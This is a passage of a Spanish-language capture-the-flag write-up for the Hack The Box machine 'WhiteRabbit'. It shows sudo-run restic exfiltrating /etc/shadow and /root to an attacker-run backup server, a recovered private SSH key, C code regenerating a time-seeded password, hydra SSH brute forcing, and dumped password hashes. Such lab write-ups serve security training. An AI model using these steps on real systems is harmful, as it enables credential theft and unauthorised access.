lrwxrwxrwx   1 root root    7 Apr 22  2024 lib -> usr/lib
drwxr-xr-x   2 root root 4.0K Apr  8  2024 lib.usr-is-merged
lrwxrwxrwx   1 root root    9 Apr 22  2024 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4.0K Aug  1  2024 media
drwxr-xr-x   2 root root 4.0K Aug  1  2024 mnt
drwxr-xr-x   2 root root 4.0K Aug  1  2024 opt
dr-xr-xr-x 288 root root    0 Apr 24 10:01 proc
drwx------   1 root root 4.0K Mar 24 16:08 root
drwxr-xr-x   1 root root 4.0K Apr 25 04:18 run
lrwxrwxrwx   1 root root    8 Apr 22  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root 4.0K Mar 31  2024 sbin.usr-is-merged
drwxr-xr-x   2 root root 4.0K Aug  1  2024 srv
dr-xr-xr-x  13 root root    0 Apr 24 10:01 sys
drwxrwxrwt   1 root root 4.0K Aug 30  2024 tmp
drwxr-xr-x   1 root root 4.0K Aug  1  2024 usr
drwxr-xr-x   1 root root 4.0K Aug  1  2024 var
bob@ebdce80611e9:~$

Observamos que este usuario puede ejecutar como root el comando restic.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
bob@ebdce80611e9:~$ sudo -l -l
Matching Defaults entries for bob on ebdce80611e9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User bob may run the following commands on ebdce80611e9:

Sudoers entry: /etc/sudoers
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
	/usr/bin/restic
bob@ebdce80611e9:~$

Rest Server

Compilamos y ejecutamos rest-server localmente para poder crear backups en nuestra maquina para luego acceder a estos.

1
2
3
4
git clone https://github.com/restic/rest-server.git
cd rest-server
CGO_ENABLED=0 go build -o rest-server ./cmd/rest-server
./rest-server --path ~/htb/whiterabbit/restic/ --no-auth

Bob Rest Repository

Creamos un nuevo repositorio en nuestro servidor especificando un nombre y contrasena.

1
2
3
4
5
6
7
8
9
bob@ebdce80611e9:/dev/shm$ restic init -r "rest:http://10.10.14.105:8000/backup_name"
enter password for new repository: 
enter password again: 
created restic repository 88aabedb23 at rest:http://10.10.14.105:8000/backup_name/

Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.
bob@ebdce80611e9:/dev/shm$

Con el repositorio creado especificamos un nuevo backup agregando el archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
bob@ebdce80611e9:/dev/shm$ sudo restic backup -r "rest:http://10.10.14.105:8000/backup_name" "/etc/shadow"
enter password for repository: 
repository 88aabedb opened (version 2, compression level auto)
created new cache in /root/.cache/restic
using parent snapshot ea3d4e37
[0:00] 0.00%  0 / 1 index files loaded

Files:           1 new,     0 changed,     0 unmodified
Dirs:            0 new,     1 changed,     0 unmodified
Added to the repository: 1.405 KiB (939 B stored)

processed 1 files, 737 B in 0:03
snapshot 088f708e saved
bob@ebdce80611e9:/dev/shm$

Tras listar estos se observa que se creo un snapshot del archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ restic snapshots -r rest:http://localhost:8000/backup_name
enter password for repository: 
repository 88aabedb opened (version 2, compression level auto)
created new cache in /home/kali/.cache/restic
ID        Time                 Host          Tags        Paths
--------------------------------------------------------------------
ea3d4e37  2025-04-11 06:56:26  ebdce80611e9              /etc/shadow
088f708e  2025-04-11 06:56:39  ebdce80611e9              /etc/shadow
--------------------------------------------------------------------
2 snapshots

Tras restaurar el backup observamos el contenido del archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ restic restore 088f708e --target . -r rest:http://localhost:8000/backup_name
enter password for repository: 
repository 88aabedb opened (version 2, compression level auto)
[0:00] 100.00%  2 / 2 index files loaded
restoring snapshot 088f708e of [/etc/shadow] at 2025-04-11 10:56:39.883284433 +0000 UTC by root@ebdce80611e9 to .
Summary: Restored 2 files/dirs (737 B) in 0:00

❯ ll
drwxr-xr-x kali kali 4.0 KB Mon Mar 24 07:43:06 2025  etc
❯ ls etc/shadow
 etc/shadow
❯ cat etc/shadow
root:*:19936:0:99999:7:::
daemon:*:19936:0:99999:7:::
bin:*:19936:0:99999:7:::
sys:*:19936:0:99999:7:::
sync:*:19936:0:99999:7:::
games:*:19936:0:99999:7:::
man:*:19936:0:99999:7:::
lp:*:19936:0:99999:7:::
mail:*:19936:0:99999:7:::
news:*:19936:0:99999:7:::
uucp:*:19936:0:99999:7:::
proxy:*:19936:0:99999:7:::
www-data:*:19936:0:99999:7:::
backup:*:19936:0:99999:7:::
list:*:19936:0:99999:7:::
irc:*:19936:0:99999:7:::
_apt:*:19936:0:99999:7:::
nobody:*:19936:0:99999:7:::
ubuntu:!:19936:0:99999:7:::
systemd-network:!*:19965::::::
systemd-timesync:!*:19965::::::
messagebus:!:19965::::::
systemd-resolve:!*:19965::::::
sshd:!:19965::::::
bob:$y$j9T$dC8deJ6oyvhG7RBktETA3/$VtU7l9Xdd6ADMrq64PBV2Ev68xpYQ9IDycSiHL7v9h7:19965:0:99999:7:::

Creamos un nuebo backup apuntando al directorio /root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
bob@ebdce80611e9:/dev/shm$ sudo restic backup -r "rest:http://10.10.14.105:8000/backup_name" "/root"
enter password for repository: 
repository 88aabedb opened (version 2, compression level auto)
no parent snapshot found, will read all files
[0:00]          0 index files loaded

Files:           4 new,     0 changed,     0 unmodified
Dirs:            3 new,     0 changed,     0 unmodified
Added to the repository: 6.480 KiB (3.507 KiB stored)

processed 4 files, 3.865 KiB in 0:02
snapshot d12c580a saved
bob@ebdce80611e9:/dev/shm$ 

Restauramos el backup en el directorio actual.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
❯ restic snapshots -r rest:http://localhost:8000/backup_name
enter password for repository: 
repository 88aabedb opened (version 2, compression level auto)
ID        Time                 Host          Tags        Paths
--------------------------------------------------------------------
ea3d4e37  2025-04-11 06:56:26  ebdce80611e9              /etc/shadow
088f708e  2025-04-11 06:56:39  ebdce80611e9              /etc/shadow
d12c580a  2025-04-11 06:59:55  ebdce80611e9              /root
--------------------------------------------------------------------
3 snapshots
❯ restic restore d12c580a --target . -r rest:http://localhost:8000/backup_name
enter password for repository: 
repository 88aabedb opened (version 2, compression level auto)
[0:00] 100.00%  3 / 3 index files loaded
restoring snapshot d12c580a of [/root] at 2025-04-11 10:59:55.217197701 +0000 UTC by root@ebdce80611e9 to .
Summary: Restored 8 files/dirs (3.865 KiB) in 0:00

Observamos la clave privada y publica del usuario morpheus.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
❯ ls
 etc  󰉐 root
❯ ls root
 morpheus  󰌆 morpheus.pub
❯ cat root/morpheus
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQS/TfMMhsru2K1PsCWvpv3v3Ulz5cBP
UtRd9VW3U6sl0GWb0c9HR5rBMomfZgDSOtnpgv5sdTxGyidz8TqOxb0eAAAAqOeHErTnhx
K0AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+w
Ja+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR
4AAAAhAIUBairunTn6HZU/tHq+7dUjb5nqBF6dz5OOrLnwDaTfAAAADWZseEBibGFja2xp
c3QBAg==
-----END OPENSSH PRIVATE KEY-----
❯ cat root/morpheus.pub
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+wJa+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR4= morpheus@whiterabbit.htb

User - morpheus

Utilizamos la clave privada por el servicio SSH en el puerto 22 logrando acceder a este y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
❯ ssh morpheus@whiterabbit.htb -i root/morpheus
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-57-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Apr 11 11:01:36 2025 from 10.10.14.105
morpheus@whiterabbit:~$ whoami;id;pwd
morpheus
uid=1001(morpheus) gid=1001(morpheus) groups=1001(morpheus),100(users)
/home/morpheus
morpheus@whiterabbit:~$ ls
user.txt
morpheus@whiterabbit:~$ cat user.txt 
b8663623a37fd52e6bd3dfcbf3a8cea0
morpheus@whiterabbit:~$

User - Neo

Anteriormente encontramos una lista de comandos en esta se observa la ejecucion de neo-password-generator junto con passwd, es posible que se haya utilizado este comando para generar la contrasena de neo.

1
2
3
4
5
morpheus@whiterabbit:~$ ls -lah /opt/neo-password-generator/neo-password-generator
-rwxr-xr-x 1 root root 16K Aug 30  2024 /opt/neo-password-generator/neo-password-generator
morpheus@whiterabbit:~$ /opt/neo-password-generator/neo-password-generator
mQCfvCySN223EXgtyaka
morpheus@whiterabbit:~$

Realizamos la copia de este ejecutable localmente.

1
2
3
❯ scp -i root/morpheus morpheus@whiterabbit.htb:/opt/neo-password-generator/neo-password-generator ~/htb/whiterabbit/files/
neo-password-generator                                                                                                                                100%   15KB  23.7KB/s   00:00    

Password Generator

Ejecutamos Ghidra y obtuvimos las funciones que generan la contrasena: main y generate_password.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
undefined8 main(void)

{
  long in_FS_OFFSET;
  timeval local_28;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  gettimeofday(&local_28,(__timezone_ptr_t)0x0);
  generate_password(local_28.tv_sec * 1000 + local_28.tv_usec / 1000);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void generate_password(uint param_1)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_34;
  char local_28 [20];
  undefined1 local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  srand(param_1);
  for (local_34 = 0; local_34 < 0x14; local_34 = local_34 + 1) {
    iVar1 = rand();
    local_28[local_34] =
         "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[iVar1 % 0x3e];
  }
  local_14 = 0;
  puts(local_28);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Con la ayuda de deepseek se genero el codigo fuente basados en el codigo anterior. El codigo indica una contrasena de 20 caracteres y el uso de “tiempo” Epoch por el uso de gettimeofday, se define el seed el uso de milisegundos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>

void generate_password(unsigned int seed) {
    srand(seed);
    char password[21]; // 20 characters + null terminator
    const char *chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    
    for (int i = 0; i < 20; ++i) {
        int index = rand() % 62; // 62 possible characters
        password[i] = chars[index];
    }
    password[20] = '\0'; // Proper null termination
    
    puts(password);
}

int main() {
    struct timeval tv;
    gettimeofday(&tv, NULL);
    
    // Calculate seed from current time in milliseconds
    unsigned int seed = tv.tv_sec * 1000 + tv.tv_usec / 1000;
    
    generate_password(seed);
    return 0;
}

Dentro de la base de datos se especifica la fecha y hora de la “ejecucion” del comando, por lo que tenemos un rango de tiempo en el que se haya generado la contrasena.

1
2
3
4
5
+----+---------------------+------------------------------------------------------------------------------+
| id | date                | command                                                                      |
+----+---------------------+------------------------------------------------------------------------------+
| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+

Con la ayuda de DeepSeek se genero codigo en base a tiempo para generar contrasenas cada milisegundo en un rango de tres segundos, similar al programa anterior.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void generate_password(unsigned int seed) {
    srand(seed);
    const char *chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    for(int i = 0; i < 20; i++) {
        putchar(chars[rand() % 62]);
    }
    putchar('\n');
}

time_t get_utc_timestamp(int year, int month, int day, int hour, int min, int sec) {
    struct tm t = {0};
    t.tm_year = year - 1900;
    t.tm_mon = month - 1;
    t.tm_mday = day;
    t.tm_hour = hour;
    t.tm_min = min;
    t.tm_sec = sec;
    t.tm_isdst = 0;  // No daylight saving for UTC
    
    // Convert to UTC timestamp
    return mktime(&t) - timezone;
}

int main() {
    // Hardcoded time range (30 August 2024 14:40:41 to 14:40:43 UTC)
    time_t start = get_utc_timestamp(2024, 8, 30, 14, 40, 41);
    time_t end = get_utc_timestamp(2024, 8, 30, 14, 40, 43);
    
    // Generate passwords for every millisecond in range
    for(time_t t = start; t <= end; t++) {
        for(int ms = 0; ms < 1000; ms++) {
            unsigned int seed = t * 1000 + ms;
            generate_password(seed);
        }
    }
    
    return 0;
}

Compilamos y ejecutamos, se observa una larga lista la cual la enviamos a un “wordlist”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ ./st | head
8VBYwJquC3nRlMeX8eWZ
T9LMTW86xaudr0LIbX09
XFr5F59iM51piMP5XzPq
iqLHAWmbpv1oscSLwWd0
JGr5AzDnBdvSqNplP9w3
kfc6ymhdP6RkGnNP3IqE
52lyLyJrmbnYjGrhwpqn
xNQvHHBE8G47unYRMBLi
jUj2k0kN7ottaHqRAeRe
OchbVwSMTnVphybkKZVW
❯ ./st > test_pass.txt

SSH Bruteforce

Utilizamos hydra con el wordlist creado anteriormente especificando al usuario neo, luego de unos minutos se encontro la contrasena del usuario neo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ hydra -l neo -P test_pass.txt ssh://10.10.11.63 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-11 08:37:50
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 3000 login tries (l:1/p:3000), ~47 tries per task
[DATA] attacking ssh://10.10.11.63:22/
[STATUS] 471.00 tries/min, 471 tries in 00:01h, 2565 to do in 00:06h, 28 active
[22][ssh] host: 10.10.11.63   login: neo   password: WBSxhWgfnMiclrV4dqfj
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 13 final worker threads did not complete until end.
[ERROR] 13 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-11 08:40:39

Shell

Utilizamos la contrasena en la sesion SSH existente y logramos cambiar a este usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
morpheus@whiterabbit:/dev/shm$ su neo
Password: 
neo@whiterabbit:/dev/shm$ whoami
neo
neo@whiterabbit:/dev/shm$ cd
neo@whiterabbit:~$ ls
neo@whiterabbit:~$ ll
total 28
drwxr-x--- 4 neo  neo  4096 Apr 11 12:01 ./
drwxr-xr-x 4 root root 4096 Aug 30  2024 ../
lrwxrwxrwx 1 neo  neo     9 Aug 27  2024 .bash_history -> /dev/null
-rw-r--r-- 1 neo  neo   220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 neo  neo  3771 Mar 31  2024 .bashrc
drwx------ 2 neo  neo  4096 Aug 27  2024 .cache/
-rw-r--r-- 1 neo  neo   807 Mar 31  2024 .profile
drwx------ 2 neo  neo  4096 Aug 27  2024 .ssh/
-rw-r--r-- 1 neo  neo     0 Apr 11 12:01 .sudo_as_admin_successful
neo@whiterabbit:~$

Privesc

neo puede ejecutar cualquier comando como root lo que nos permitio elevar privilegios y obtener nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
neo@whiterabbit:~$ sudo -l -l
Matching Defaults entries for neo on whiterabbit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User neo may run the following commands on whiterabbit:

Sudoers entry: /etc/sudoers
    RunAsUsers: ALL
    RunAsGroups: ALL
    Commands:
	ALL
neo@whiterabbit:~$ sudo su
root@whiterabbit:/home/neo# cd
root@whiterabbit:~# ls
root.txt
root@whiterabbit:~# cat root.txt 
66888a4d6bcc27c683ed5851bfecfb2b
root@whiterabbit:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root:$y$j9T$Rx7IRKAooZBFEEKqpflWl1$fK0BeVoPRj.EwPj9sYKZMu.Ti0EmrFpmQQZmayCKdL/:19962:0:99999:7:::
daemon:*:19836:0:99999:7:::
bin:*:19836:0:99999:7:::
sys:*:19836:0:99999:7:::
sync:*:19836:0:99999:7:::
games:*:19836:0:99999:7:::
man:*:19836:0:99999:7:::
lp:*:19836:0:99999:7:::
mail:*:19836:0:99999:7:::
news:*:19836:0:99999:7:::
uucp:*:19836:0:99999:7:::
proxy:*:19836:0:99999:7:::
www-data:*:19836:0:99999:7:::
backup:*:19836:0:99999:7:::
list:*:19836:0:99999:7:::
irc:*:19836:0:99999:7:::
_apt:*:19836:0:99999:7:::
nobody:*:19836:0:99999:7:::
systemd-network:!*:19836::::::
systemd-timesync:!*:19836::::::
messagebus:!:19836::::::
systemd-resolve:!*:19836::::::
pollinate:!:19836::::::
polkitd:!*:19836::::::
usbmux:!:19962::::::
sshd:!:19962::::::
neo:$y$j9T$ScA0YW6ufEiJ2wrSzstjn0$yPUlR6O.rAO4Vf9plr/iRlN4ZVKB2PLsUMZ1O27OkF2:19965:0:99999:7:::
caddy:!:19962::::::
morpheus:$y$j9T$0NVHqnsCvSP7z15ZcFSQQ.$2pX0MN2L3RfzRZC16AfxvrKNb680fiRx4jkEVwmQNK2:20150:0:99999:7:::
dhcpcd:!:20171::::::
_laurel:!:20171::::::
Share on

Dany Sucuc
WRITTEN BY
sckull